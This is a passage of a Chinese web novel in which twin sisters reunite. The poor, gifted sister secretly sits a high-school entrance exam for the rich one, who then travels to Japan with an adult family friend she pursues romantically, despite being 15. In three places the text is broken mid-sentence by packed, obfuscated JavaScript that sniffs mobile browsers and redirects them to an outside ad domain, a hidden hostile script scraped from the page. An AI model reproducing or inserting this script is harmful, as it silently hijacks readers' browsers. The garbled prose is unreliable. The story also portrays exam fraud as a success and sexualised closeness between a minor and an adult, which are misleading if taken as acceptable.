欢乐第一次用重话骂她疯了。张姣没疯,她很清楚的明白想要和许沉去看樱花,想要中考结束后的整个暑假和许沉在一起,就得考600分以上,用这个作为交换,换许沉两个月的时间。 她要真正的考600分以上,不是爸爸找人篡改系统的600分。 欢乐不会帮她做这种事,也没法帮。 张姣去了论坛,发了自己的照片,标题是找好姐妹。她不怕被许沉看见,因为许沉那个人从来不逛论坛,她也不喜欢。论坛里的人像极了她爸爸的生意伙伴,隔着屏幕无脑舔,真够令人恶心。 好姐妹的唯一标准,是长得和她像。 凌晨三点的游戏没几个人,论坛更是没人。在这种时间段发这种帖子,不知道是不是抱有侥幸心理。张姣也够侥幸的,帖子发出去的第一秒,就有人私信她,直接送过来一张照片,那张照片很模糊,像什么古老的摄像头临时拍摄的,背景杂乱。一看就穷。 但照片里的人,和她如同一个模子里长出来的。 张姣立刻删掉了帖子。 帖子只在论坛上出现了3秒,除了张情,谁也没注意到。 …… 张情白天上学,晚上上班。刚开始全靠毅力熬着,差点熬倒了。后来模拟测试下来,她的分数仍旧稳居第一。老师们松了一口气,她也松了一口气。 初三的课业对她而言,没什么难度,于是白天就在学校里抓紧时间睡觉,晚上还是得上班。她没法舍弃那点工资,也无法放下那个有着妹妹的游戏。 她想看妹妹到底是怎么过的。看了一年,妹妹除了每天追着那个叫“沉”的游戏人物,就没别的事情了。 生活简单而无趣。 这一晚,她仍旧挂在观众席上看妹妹。白天有两场模拟考试,没什么时间睡觉,这会儿特别困,但今晚的网吧非常热闹,不知道是什么日子,都来凑热闹上网,让她没法睡。 她打个哈欠,点开论坛刷帖子让自己的大脑保持清醒。 点进去就看见妹妹发的帖子弹出来。她用自己账号发的,“钱多多”三个字在发帖人后面金光闪闪,一下子闪中了张情的眼。脑子还没有反应过来,张情已经完成了点进去、浏览、拍照、私信四步骤。 几乎是刚点下“发送”两个字,帖子在她的视野里变成了灰蒙蒙的一片,系统提示她帖子已删除,将她弹到论坛首页。然后她再也找不到那张帖子了。但她的聊天框里依然存着她刚用电脑摄像头拍摄的照片,模糊、嘈杂、灰暗,像老楼里的灰尘,灰扑扑地躺在她和张姣的聊天框里。 对面显示在线。说明她已经看见这张照片,但信息迟迟没传过来。 张情说不清这一刻是激动更多还是忐忑更多,也说不清张姣发这张帖子的用意是什么,知道自己是她姐姐,所以发帖子来找她吗? 张情的脑袋是空洞的,茫然的,挤满无数理不清的思绪。她从来没这么混沌过,找不到爬出去的那根线。 聊天框闪了一下,那根让她爬出泥潭的线递了过来,对方让她加Q\Q,和她视频。 张情跟着张姣的节奏,一步一步走。视频框弹过来时,张情有点胆怯了,在最后几秒才接起来。 张姣皱着眉,对她的缓慢不耐烦。但在看见她脸的刹那,眉眼一松,笑起来说:“我们真像呀!” 她笑得那么快乐纯粹,为她们俩长得真像而庆贺。张情心里松了一口气,妹妹还是小时候的模样,会因为简单的事情而欢喜满足,会笑得可可爱爱。 张情也跟着笑,说:“是的,毕竟我们是……” “这样太好了,你就不会被认出来了!”两人几乎同步开口,只是张姣因为过于兴奋而语速很快,盖住了张情的话。 张姣说完,问她说什么。 张情狐疑地问她:“什么不会被认出来?” 张姣说:“你在哪儿?” 张情说:“玉兰镇。” 张姣:“那是哪儿?” 张情:“昭平市。” 张姣还是一脸迷惑,但她不再问了,而是笑着跟张情说,你来找我玩吧。 尽管妹妹不记得老家的地址了,但妹妹仍旧是想念她的,才这么迫不及待地让她去找她——张情是这样想的。 张情带着宠溺的笑,说:“中考完了就去找你。” 张姣扁着嘴,说:“不要,就要现在。” 她一向是这样,自己想要什么、喜欢什么,就要立刻要立刻做。以前想去溪边玩水,外婆说不安全,不让她去。她就扭着张情,一脸委屈,小嘴抿着,眼眶里的泪水滴溜溜转。张情心软,偷偷带她去了。 这一次,张情还是心软了。她说周末吧,周五我翘课,你把地址发给我。 张姣给她转了10万块钱。张情看着那一大笔数字,有点懵。张情说我有钱买车票。张姣说你那儿过来很远吧,你买机票,我想早点见到你。 张情查了一下大巴车的票价,320,要坐两天一夜。时间不够。再查机票的价格,1480元,只需要两个小时。 张情数了数存折上的钱,咬牙买了一张机票。把张姣的钱退给她,那是妹妹的钱,尽管自己很穷,但也没到要用妹妹的钱的时候。 星期四的下午,张情提前溜了,请了星期五的假,又和老板请了几天的假。张情学习好,工作尽责,老师和老板都让她路上注意安全。张情请假的理由是身体不舒服,想去市里做检查。 她坐大巴去机场,飞机起飞的瞬间,张情头晕目眩耳鸣。这种感觉不好,张情不喜欢。她觉得自己还是更适合坐大巴。 下飞机时是星期四的晚上十一点,她背着大背包,从灯火通明的机场走出去,反光的玻璃映出灰扑扑脏兮兮的她,像个乡下逃难来的。出站口的司机们瞧了她一眼,弓着身去问她身边的人坐不坐车,只有一个老男人色眯眯地问她去哪。 张情紧紧抓住背包带子,在犹豫现在去找妹妹还是明天去,自己实在太脏了。她沿着航站外面的路一直走,一直走,忽然被人叫住。一个穿工作服的人跑过来,跟她说这里不能走人,很危险。 张情迷惑,那我怎么出去? 那个人上下打量她一眼,问她去哪里。张情摸出写了妹妹地址的纸条,问他这个地方怎么走。那个人看了一眼,又看张情,然后说这个地方大巴去不了,你直接打车吧。张情问打车要多少钱,那个人说一百多吧。张情咬住嘴。那个人说你可以先坐大巴进市区,再打车过去,那边有大巴。 大城市的夜晚比小镇的白天还热闹。张情靠在大巴的车窗上,想象妹妹从小在这样的环境里长大,等会看见这样的她,一定会嫌弃吧? 有个地方,车上的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张情有点不知道该怎么接这句话,是她来太早了还是太晚了?总是考高分的脑子只要一面对妹妹就容易宕机。 “进来吧。”张姣转身往屋里走,“鞋子脱门口,鞋柜里有拖鞋,随便穿不穿。” 张情一一照做,等她换好拖鞋抬起头来时,昏暗的屋内已经看不见张姣了。 她猫着身,做贼似的往里面钻,生怕不小心碰倒了什么东西。她知道这栋房子很贵,里面的物件肯定更贵,她不想第一次来就给妹妹给爸爸妈妈留下坏印象。 啪! 灯光骤亮。将她贼里贼气的行为照得纤毫毕现。张姣站在墙壁前,看见张情的模样,噗嗤一声笑了。 张情尴尬得脸都红了,手足无措地站在那里。 张姣倚靠在墙上,歪头看她,吃吃笑:“长得真像,就像照镜子似的。”她走过来,冰凉的指尖摸上张情的脸,点着她的眉骨与眼皮,“可惜这里少了一颗痣,不然把你往爸爸妈妈面前一放,他们肯定认不出来。” 不知道张姣想到什么,忽然兴奋起来,“要不咱们试试?”眼里全是明亮的光,像一颗小太阳一样闪亮眩眼。 张情不知道她想试什么,却跟着笑起来点点头。 就是这时,大门口响起滴滴滴的声音,像网吧老板开保险柜的密码,应该是谁在输大门的密码。张情还没反应过来,张姣附在她耳边说:“肯定是妈妈回来了,你站在这儿,看她认得出来么。” 说完,她就躲上了二楼。 张情站在客厅里,紧张得浑身血液往脑门上涌,她感到头晕目眩,也突然觉得这个客厅非常狭窄,挤得她呼吸困难。 她睁睁看着大门打开,在自己嘭嘭嘭的心跳声里,看见妈妈走了进来。她拿着手提包,两只脚从嵌满水晶的华丽高跟鞋里退出来,随便塞了一双拖鞋走过来。 走到立柜那里,她停下来,看见了客厅中央的张情。 她眯起眼,唇角勾起,像是笑,却笑得非常嘲讽,语气轻蔑:“又在玩什么把戏,有这时间不如多看两本书,这样你爸还能高看你两分。” 她嗤了一声,没再看张情一眼,直接上了楼,进了房间。 张姣躲在二楼走廊立柜后面,立柜上放着一盆开败的满天星,枯黄的叶子和藤条耷拉在张姣脸边。她匐在栏杆之间的缝隙里,透过一条条的黑色栏杆对张情笑。 灯光碎在她眼里,让张情想起自己打扫教室时不小心砸碎的玻璃,就是张姣这样,在白光之下,破碎、斑驳。 忽然之间,张情知道,这个看似生活在金堆里的妹妹,其实过得并不好。 一点也不好。 45. 第 45 章 张姣往张情头上戴帽子、脸上裹围巾,避着佣人带她去市区玩。她们去高级理发店,给张情做张姣的发型。去高级商场买衣服给张情穿。再去美容院给张情洗个脸。一通收拾下来,两个人站在商场的大镜子前,都笑眯了眼。 镜子里的张情像极了张姣在照镜子。 张姣点点自己眉骨下方的痣,说就多了这个,不过没关系,很简单的。她在化妆柜台前抽出一只红色眼线笔,往张情眉骨下方、眼尾上方点了一颗痣。小小的红痣。 镜子里的两个人将电脑上的粘贴、复制具象化了。 张姣笑眯眯的点头,你看,这就一模一样了。她心情极好地带张情去高级餐厅吃西餐。张情用不来刀叉,张姣让服务员拿筷子来,却不给张情用。她教张情切鹅肝。 这一路都是张姣在花钱,张情接这一餐请妹妹吃饭,结果账单递过来时,上面的五位数让张情红了脸,窘迫得手脚不知道往哪里放。她实在想象不出为什么吃一块不如巴掌大的鹅肝能吃掉五万多。其实也不怎么好吃。 张姣晃着高脚杯说因为点了一瓶酒呀。张情看着手边有一根细细脚的透明杯子,这才有点晕乎乎的感觉,她傻傻问这是酒呀,都没喝出酒味来,只有纯甜。 张姣从包里抽出黑卡递给服务员,对张情说,你那么远来,吃穿用我都包了,你想吃什么玩什么,我带你去。 张情不知道吃什么玩什么,她吃米粉,张姣看不上,她散步,张姣也看不上。 最后,张姣拉她去游乐园,她们坐碰碰车,撞得头晕眼花,坐海盗船,张情吓得哇哇叫,张姣在旁边哈哈笑。她们坐过山车,张情紧紧拽住张姣的手,闭着眼,风像刀子一样从她的脸上刮过,让她感到疼,她悄悄睁开一条眼缝,看见身旁的妹妹。张姣望着虚空,不知道在想什么。她的表情很淡,15岁正是纯粹清澈只懂得玩的年纪,张情却从她身上感受到了死气沉沉和空洞,像橱窗里的洋娃娃,只会张着眼睛,套着漂亮的公主裙坐在那里。 过山车缓缓停下来,张情依旧闭着眼睛,张姣歪头看了她一眼,笑嘻嘻问:“是不是很怕,吓到没,要不要再玩一圈?” 张情听她说完话才睁开眼,眼前的妹妹笑得天真灿烂,像童话故事里最幸福的孩子,仿佛她刚才看见的妹妹只是惊怕中的幻觉。 张情摇摇头,说怕死了,不想再坐了。 张姣带她去吃冰淇淋,爆米花,还买了一串彩色的气球。她把气球挂在张情的背包上,两人舔着冰淇淋端着爆米花去坐摩天轮。工作人员说不能带气球上去,她们就把气球挂在树上。 摩天轮的窗玻璃溢进来金灿灿的阳光,她们逐渐往高空升,张情的视野从看见排队的情侣到看见整个游乐场,让她走到脚疼的巨大游乐场渐渐缩成小小的圆,大人小孩在其中奔来走去,到处都是彩色气球,到处都是冰淇淋的小推车,到处都是人。 她们挂在树上的气球被一个大人解开了,递给腿边的小孩儿。小孩儿举着气球蹦蹦跳跳跑了。 “诶!”张情紧张地扒着玻璃窗,说我们的气球被人拿走了。 张姣笑着问她,你喜欢呀,等会我把游乐场的气球全买给你。 全买?张情想象自己浑身挂满彩色气球走在街上的样子……也许是被气球托着飞到天上的样子……登时摇了摇头,说不要了不要了。 张姣被她逗得哈哈大笑,说:“你帮我中考吧。” 张情没反应过来,甚至怀疑自己因为升得太高耳朵出现幻觉。她们还在说气球,怎么就变成中考了? 张姣笑盈盈盯着她。张情缓了好半天,才问你说什么中考?张姣说,考高中啊,我成绩很差的。张情翕动嘴,不知道该怎么回,最后说,你能考多少分就考多少分,没关系的。 张姣噗嗤笑了,问真没关系呀?张情回答不了,她心知肚明很有关系的。 张姣站起身,走到对面,在张情身边坐下。她搂住张情的胳膊,将脑袋枕在张情的肩膀上,说这样真好。 久别重逢的依靠让张情差点就哭了,这一幕多像小时候啊,小时候张姣就喜欢这样抱着她睡觉,说睡得舒服,但张情不舒服,因为早上起来,被妹妹搂住的那条胳膊会很麻,可时间长了,就习惯了。多少年了,妹妹没这样搂过她。 喉咙有点苦涩,张情将它咽下去。她摸着张姣的头,一下,一下,又一下,温柔得像一个妈妈。 张姣闭上眼睛享受。 摩天轮转了三圈,停在高空。从空中往远处看,能看见那栋非常高的大厦,是这个城市最大最豪华的酒店。张姣14岁生日在上面办的,当时许沉来了,那是第一次,许沉来参加她的生日会。 她想15岁、16岁、17岁、18岁……以后的每一年生日,许沉都会来,最好比所有人都早来,最好每一年都和她一起出场。 张姣说,求求你了,你帮帮我吧,除了你,没有人可以帮我了。 张情心软了,但还是说这样不好,会被发现的。 张姣牢牢盯着她的眼睛,手指贴在张情点的那颗红痣上,你觉得会被发现吗。 这一年,没有指纹,没有人脸识别,全靠照片核对。 而她们那么像。 …… 大城市的中考时间是6月17日和6月18日,小城市的中考时间是6月10日和6月11日。 距离中考还有三个月的时间。 张情来的第二天,一整天窝在张姣的房间里看书。她发现这里的课本和她们那儿的不太一样,要难一些。看得张情头大,因为有些知识点重叠了,但解题方式不一样,不能按照老家的来。 星期一的机票要回去了,张情让张姣把初中三年的所有书都给她,她带回去。 张姣怕她不来了。张情说,不会的,放心吧。 张姣送她去机场,新买的两个28寸的行李箱塞得满满当当,一箱子塞书本,一箱子塞张姣送她的衣服和零食。 回到家,张情打开行李箱,才发现衣服下面还叠了一层现金。她去小卖部打电话给张姣,张姣在电话里笑嘻嘻说:“我怕你不来了,现在你收了钱,不能不来哦!”她加重语气,“这是一笔买卖!” 张情也笑,说好。 白天在学校张情把张姣的课本叠在自己课本上看,晚上一面上班一面学。刚开始有些难,后面越学越顺。 她们每周通一次电话,张情给她汇报进度。 6月10日,该张情考试了。6月11日考完,她立刻收拾行李,拖去张姣家里。 张姣家很安静,佣人只在白天来,但从不进张姣房间。张情坐在书桌前刷题,张姣请了假不去学校,坐在旁边玩游戏,是那个她最喜欢的游戏,从早到晚挂在游戏里,但她不玩,就那样挂着。 张情有时候很好奇,问她为什么不玩。张姣说我本来就不爱玩这个游戏。张情问为什么。张姣说我喜欢的人在里面,我只跟他玩。 张情瞪大了眼睛,那个沉?你喜欢的人?你多大呀,就喜欢游戏里的人了,他是男是女,是30岁还是10岁,会不会被骗了……? 张姣咯咯笑,说你好像个操心的老婆婆呀。张情也笑了,心说对呀,我就是替外婆操心你。妹妹走后,外婆把她抱在怀里整天念叨妹妹。如果外婆知道妹妹喜欢游戏里的人,外婆肯定也会像这样唠叨。 6月17日,张情和张姣起得非常早,张情穿上张姣寻常最爱穿的裙子,被张姣打扮得像一个高贵的公主,这是张情不习惯的,尽管各种高贵的东西往身上套,但张情的神情看起来像个小偷,畏畏缩缩。张姣捂着肚子,笑得直不起腰。 张情搅着手指头,说:“这样……会不会不太好……我们是去考试的……”其实她很紧张,紧张得手心全是汗。她在网上查过了,替考被抓,自己的考试成绩也会作废,还会被拘留罚款。 张姣笑够了,说就得这样。她一巴掌拍在张情背上,挺直,眼神凶一点,这才像我嘛,对,你出门,就拿眼睛往下看人,别管他是高还是矮,最好别看人,人都一个样,没什么好看的,看见丑得像癞蛤蟆的可脏眼睛了。 佣人敲响了门,说早餐备好了。 她们也收拾得差不多了。张情艰难地撸起公主裙宽大的姬袖,检查笔袋和证件。 张姣把长发挽在后脑勺,盖上帽子,背着蕾丝兔耳包,从窗户翻了出去。她说我在学校对面的咖啡店等你。 不给张情反应的时间,她就从窗台跳了下去。张情吓坏了,这可是二楼啊!她冲到窗边往下看,窗外一楼的位置有个平台,不知道张姣什么时候扔了两床被子和一堆抱枕下去,张姣正跳在厚厚的被褥上,然后顺着平台的斜坡滑到了一楼的草坪。她站起身,拍拍裙子上的草屑灰尘,冲张情摇摇手,扭身跑了。 佣人又敲门了,说时间不早了,问她醒没。 张情胆颤惊心地应了一声,拎着笔袋开门往楼下走。 张情来这么久,从没见过那个叫爸爸的人。她以为这一天也一样,这栋别墅会像前几天那样空。结果刚到楼下,就看见餐桌那头坐着个男人,手里拿着报纸,身前摆着咖啡杯。 张情吓得呼吸都停了,站在那里。 男人从报纸掀了眼,看向张情,皱了皱眉。张情的手情不自禁搅在一起,心里的害怕几乎要冲出来。她紧张得身体都在颤,耳朵发起烫。她甚至看不清这个叫爸爸的男人长什么样,有没有胡子,鼻梁高不高,她只知道完了,被发现就死定了。 男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177345|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问她还站着干什么,几点了,还在磨蹭。 张情赶紧坐过去,匆匆吃了个三明治。三明治有点咽人,她喝完了一整杯的牛奶。 男人盯着牛奶杯,眼眸沉沉地落到张情脸上。张情浑身紧张得难受,大口吞下最后一口三明治,拿起笔袋就往外面跑。 男人说:“好好考,别让我失望。” 张情低低“嗯”了一声,坐上早已停在门口的轿车。 …… 张姣坐在咖啡店的玻璃窗前,看窗外的路上挤满送学生考试的家长,车来车往,很无聊。她撑着下巴,有一搭没一搭地用叉子戳着餐盘里的水果。 终于看见她家的车停在学校门口,司机还没下车,那个和她长得一模一样的女孩子就直接推开车门下来了,下车时还踩了一脚裙摆,差点把自己绊倒在地上。 真的很笨,也很傻。 张姣绞尽脑汁都想不明白这个来自偏远山区的傻乎乎的女生怎么长了一颗聪明的脑袋。 手机亮了,欢乐的消息弹出来:还真找到和你长得一样、年龄一样、考试考得好的?不会是你流落他乡的姐妹吧? 张姣扯扯嘴角,随手回了一句“谁知道呢”,关上手机。 窗外的人越来越少,学校的铃声响了,考试开始了,一些家长站在外面等。 等人最费耐心,偏偏张姣没耐心。她把叉子一丢,摸出手机想给许沉打电话,刚拨出去又挂断,这个时间点可不是打电话的时间。想回家上网看看许沉在不在,回家也不成。她跟欢乐说无聊,欢乐让她去网吧。张姣在周围晃了一圈,没网吧,又老老实实坐回咖啡厅,点一块奶油蛋糕切来切去地消磨时间。 熬到中午,张情终于过来了。张姣立刻冲出门去拉着人往咖啡厅拽,问她怎么样? 张情笑着说没问题。出乎意料的格外顺利,监考老师只是拿着准考证和她对了一下,就让她进去了。 张姣关心的是另一件事:能考600分以上吗? 张情说,应该能吧。 她是谦虚的说法,实际成绩是626分。 成绩下来时,张姣兴奋得从楼梯上跳下来,跳到沙发上,又跳到餐桌上,哈哈大笑。她和张情在通话,张情感受到她的开心,也跟着开心。 张情说,我考了750分。张姣说恭喜恭喜,代考费多少钱,我打给你。张情说了什么,张姣没听见,因为妈妈和爸爸回来了。 这是第一次,妈妈和爸爸一起回来。她有些迷惑地去看时间,晚上九点十分。这也太早了。 她赶紧扔掉电话,从餐桌上跳下来。踩餐桌是不允许出现在这个高贵家庭的事,平时站在沙发上都会挨骂。这次没有,妈妈上来搂住她,温柔地摸着她的头发,笑着说阿姣真厉害,怎么这次考这么好呀? “妈妈知道了?” 妈妈笑着点头,说老师给爸爸打电话了。 当老师报出分数时,两人都惊呆了,一向成绩烂到不能再烂的张姣,居然一改往常,考了626分,离满分只差4分,是这一年的中考状元,离谱到老师都吓着了。 如果换成别人也就信了,偏偏是张姣。老师和学校立即调了监考视频,视频是360°无死角监控。张姣可乖了,试卷发下去就很认真又努力地解题,遇到难一些的还会用笔帽挠挠额头,可爱得不成样。 老师从来没觉得张姣这么乖过,像被乖宝宝附了身。爸爸和妈妈也从没觉得张姣这么认真过,像被人夺了舍。 爸爸露出真心实意宠溺的微笑,问张姣要什么。张姣笑眯了眼,说自己还没想好,等想好了告诉他。 爸爸妈妈带她出去吃晚餐,只有他们三个人的晚餐,为了庆祝她。张姣原本以为自己会很喜欢,但吃得食不知味。她发现自己原来没那么喜欢和爸爸妈妈在一起,不,是爸爸妈妈不值得她欢喜。他们喜欢的,是一个能考626分能让他们脸上贴金的人。 不过没关系,她也没那么喜欢他们。她现在最想做的事情是给许沉打电话。 回到家,张姣冲上二楼,将房间门锁死,她扑到床上,摁出许沉的电话。 许沉接起来就恭喜她,说咱们市里的状元哟,真厉害。 张姣嘻嘻笑,问他怎么知道了。许沉说分数线一出来,她爸就给他哥打电话说选个日子,办场庆祝宴。 张姣撇嘴。许沉问她怎么这次发挥这么好。张姣说因为我聪明啊。她反问许沉,要是我次次考这么好,能有惊喜嘛? 许沉听得大笑。 张姣说,许沉,带我去日本看樱花。 听筒里的笑声低了下去。 张娇说,你答应过我的,这就是我要的十四岁生日礼物。 “这个暑假,你陪我。” 46. 第 46 章 张姣告诉爸爸妈妈,她要和小叔去日本玩。爸爸说,小沉很忙,你别老打搅他,都26、7的人了,还没交女朋友,你总找他,让他怎么找女朋友? 张姣笑眯眯的,心想未来女朋友不就在你面前吗,急什么急嘛。嘴上说都26、7的大人了,他的事自己有主意,爸爸操什么心。 “你学会反驳爸爸了。”头一次,爸爸说这种话时是笑着的。 张姣知道他心情极好,因为自己拿了状元的名头,在报纸上占据了一块板块,这让爸爸在生意场非常有面子。 爸爸说,宴会你要回来。 张姣点头,但人在外面,谁知道回不回来呢。 许沉的车开了进来,在门口滴了两声,佣人将行李箱带出去,张姣蹦蹦跳跳先跑出去了,两只马尾长长的在肩膀两旁甩来甩去,又灿烂又可爱,像极了照亮世界的太阳。 许沉本来在抽烟,视野窜进她的影子,差些被恍花了眼。 也是这一瞬间,他忽然知道自己为什么会答应她无理的要求了。 许沉灭了烟,下车和出来的爸爸打个招呼,再把张姣的行李箱放进尾箱。载着张姣去机场。窗外的树和影像川流不息的河流,金光闪闪地从他们两侧往后滑。张姣撑着下巴,笑得非常开心,你去看过樱花吗? 许沉说这两天没樱花。 张姣说,那看小鹿。 许沉笑了,小小年纪这么善变,你到底喜欢樱花还是小鹿啊。 张姣心说,当然最喜欢你啦。嘴上笑眯眯的,都喜欢呀,我又没去过。 虽然张姣有很多钱,虽然爸爸和妈妈经常不回家,但把张姣管得很严,她要出门玩得打报告的,以至于她习惯性待在家里,因为出门很麻烦,她讨厌麻烦。 这是她第一次出远门。和许沉一起。心里像灌了蜜一样,甜得她晕眩。她窝在许沉身边,裹着绒毯,在他的肩膀上睡着了。 许沉想推开她,低头看见她睡得非常香,嘴角张扬的翘起,像正在做美梦。手顿了顿,他关上了顶灯。 这一片,陷入了黑暗之中。 …… 张情填完了志愿,她现在有十二万元,其中两万块钱是她这几年的工资存款,十万块钱是张姣在她行李箱塞的。 她报了市里最好的高中,选择读住校。 所有流程走完,她给张姣打电话,想问问她读哪里,她的分那么高,上新闻报了,肯定想读哪里都可以。她最想问的是,考600分以上了,她过得有没有比以前好一点。 不过,她这个妹妹,哪怕过得惨烈,也会笑嘻嘻地张扬自己过得有多好。 张情知道自己会白问,但还是打了电话,她就想跟妹妹打电话。 可惜没人接。 打第三遍的时候,终于有人接了,一个女人的声音,醉醺醺地问谁啊,三更半夜找谁。 张情听出来了,是妈妈的声音。她去看时间,凌晨一点十五分。 许久没出声,她的妈妈在电话那头嗤了一声,说张泰宏不在家,你们往这里打电话没用,要找人直接去那边找啊。 她重重坐进沙发里,手提包扔到地上,涂着嫣红指甲油的手指将缠绕的电话线一寸一寸缕直,“我不介意的……” 张情挂断电话,在电脑前怔了良久。 外婆去世时,她恨过妈妈,恨过从来没见过的爸爸,恨过妹妹。想着自己哪怕见到他们,也绝对不会原谅他们。去找妹妹的路上,忐忑、欢喜、仇恨所有的情绪在见到妹妹时,消散得无影无踪。 怪谁都不能怪妹妹,她别无选择,她离开时那么小,什么都不懂。是妈妈骗了她们。 这一晚,好像也没法怪妈妈了。妈妈也是可怜的。最可恶的,应该是那个从来没有出现过的隐形人一样的爸爸。 张情最恨爸爸。 有人来充卡。她很快地办完,登上游戏。张姣的游戏名片显示离线,沉的游戏名片显示离线,只有常和张姣一起玩的叫欢乐的人在线。 张情从上班到下班,张姣都没上线。她消失了,后面张情有整整半个月都没见过她。 但欢乐找上她了,问她是谁,为什么每天看完钱多多看许沉再看他。 张情猜那个叫沉的人是许沉。但对方好像不知道张姣的真名,只叫她多多。所以是许沉的朋友吗? 如果没猜错,许沉好像是张姣喜欢的那个游戏人。当时,她在学习,每次转头去看张姣,都看见张姣在刷新许沉的游戏名片。 张情没回欢乐的信息。欢乐又问,知道多多去哪了吗? 张情下了游戏。张姣消失了,和许沉一起。 …… 事情为什么发展成这样,许沉讲不清。好像是到日本的第一晚,他和张姣一人一间房,半夜的时候,他的房间门被敲醒了。国外没法上网,他睡得前所未有的早,迷迷糊糊去开门,问谁啊。然后还没睁开眼就被张姣连扑带抓地撞进怀里。 张姣怀里的抱枕搁在两人中间,许沉依旧很明显感受到她的瘦弱,轻飘飘的瘦。她一直很瘦,瘦得能看见骨头,没多少肉。 她抓着他敞开的睡袍哭,说有流氓敲她的门,一直敲一直敲,她害怕。 许沉讲不明白为什么,听张姣说完,一种名叫愤怒的情绪在一秒钟之内无比蛮横地占据了他的脑海和神经。他拉着她去找前台,走了两步,又将她推进房间,随手扯了一件衣服裹在她身上,将人哄到床上去。他打电话叫来经理。 一阵喧嚣之后,监控证明,确实有个男人在凌晨一点敲了张姣的门,敲了很久。 经理给出的解释是走错了房,赔礼道歉,免房费,支付赔偿金,再给张姣换一间房。 许沉不接受,他要那个男人亲自站在面前亲口说清楚原因并主动道歉,其余的事才可以再谈。 他的态度非常强硬。经理只好掉头去找那个男人。许沉进屋看张姣,想连夜带她换酒店。进去的时候,张姣已经抱着抱枕在他的床上睡得喷喷香。脸上还有泪痕,小小的一团窝在被褥里,盖住了半张脸,如果不是散出来的头发,许沉几乎看不出这床上有个人。 他将被褥往下扯了扯,露出她的鼻子,让她呼吸顺一些。也许是捂着睡的原因,她的脸红软软的,指尖不小心碰到,比水蜜桃还软,热潮潮的。潮到许沉的心里去。 许沉的心跳很快,一种慌乱的失控的情绪,让他感到非常不安。他拎起被褥将张姣整个人罩住,完完全全的罩住,头发丝都不带漏一根的。 他觉得,还是换酒店最好,换个五星级的,最好的,最贵的。他们住这儿是因为下飞机太晚了,张姣困了,她是从小娇养大的,困了就不想走,要睡,许沉几乎是连拖带抱的在附近找了一个看起来高档干净的酒店。谁也没想到会出这种事。 经理带了人来。许沉只让他等,没开门。 等张姣睡醒已经是早上了。不知道经理说了什么,那个男人没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185062|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,一直等在门外。是个日本人,有着变态的礼貌。 他对张姣鞠躬道歉,经理和所有服务员都跟着赔礼道歉,还送来很多赔罪礼,用鲜红的布托着,站了一排,在许沉的房间外面,像送亲似的,送得还是她和许沉的亲。 张姣看乐了,手一挥,原谅了他们。 从那以后,张姣每天晚上要跟许沉睡。许沉不同意,她就半夜抱着抱枕来敲门,一遍两遍三遍可怜兮兮,许沉只好放她进来。她进来就往床上躺。许沉换双室套房,睡到半夜被压醒,睁开眼就看见张姣的腿压在他胸口,难怪他总觉得喘不过气。 他推开她的腿,翻过身想离开她,结果一转身,“嘭”地一声响整个人砸在地上。 胳膊砸痛了,胸口被压了一整晚闷闷的还没喘过气。许沉气得瞌睡全醒了,咬牙切齿地喊张姣的名字。 张姣迷迷瞪瞪张开眼,一脸睡意朦胧,看见他坐在地上,还很担心地问他怎么了,怎么去地上了,掀开被子,让他快上来。 那副懵懂又纯粹的模样让许沉气到牙疼。许沉站起来,脚绊到随着他一起滚到地上的床单,“滋啦”一声脆响,裂开了一条长长的口。 两人惊呆了。 下一秒,张姣抓着裂条哈哈大笑,笑得眼泪都流出来了。许沉瞪她,她用手指揩掉眼泪,无辜地望着他。那双眼睛水灵灵的,像染了朝露一样纯粹。 被这样一双眼睛看着,再多的气也消失得无影无踪。许沉原本不气了,偏偏张姣甩来一句:这质量也太差啦,你说等会服务员来收拾会怎么说。 她将床单完全撕开,掰成两条,打个结,丢到床尾,朝许沉爬过去,笑眯眯地叫了一声:“小叔~” 许沉沉着脸把张姣丢出门外。 那个女孩是没心的,更没脸。门刚关上就在门外哭,她知道自己怎么哭最美,对着来往退房的客人,哭得梨花带雨。 于是,许沉的门外围满了人,有人敲许沉的门,说他这种行为不好,让人家小妹妹进去,小妹妹才穿一个吊带睡衣,外面冷呢。 冷个屁。28的恒温,不穿都热。 许沉沉着脸,打开门,一把将张姣拽进来。 张姣被拽得跌跌撞撞,说痛。 许沉问她要不要脸。张姣说又没人认识我,要脸干嘛呀。她往许沉面前凑,说你喜欢我脸呀,你要呀,给你给你。 许沉盯着她,眼神很沉。久久没说话。房间寂静。张姣终于感受到了一点尴尬和不安。她颤着眼睫垂下脸,往后退了一步,坐到床边。 许沉问,你到底想干什么。 张姣埋着头,嘴巴翕动两下,嗡嗡吐了两个字。许沉没听清,问她什么。张姣抬起头,眨巴眨巴眼,笑得纯粹灿烂,她拉住许沉的手,晃了晃,说,小叔,我们去看小鹿吧,鹿鹿多可爱呀。 “张姣。” 许沉第一次这么平静地叫她的全名,眉头紧紧皱着,神情很复杂,用那种非常深邃压抑的眼神盯着面前的女生。 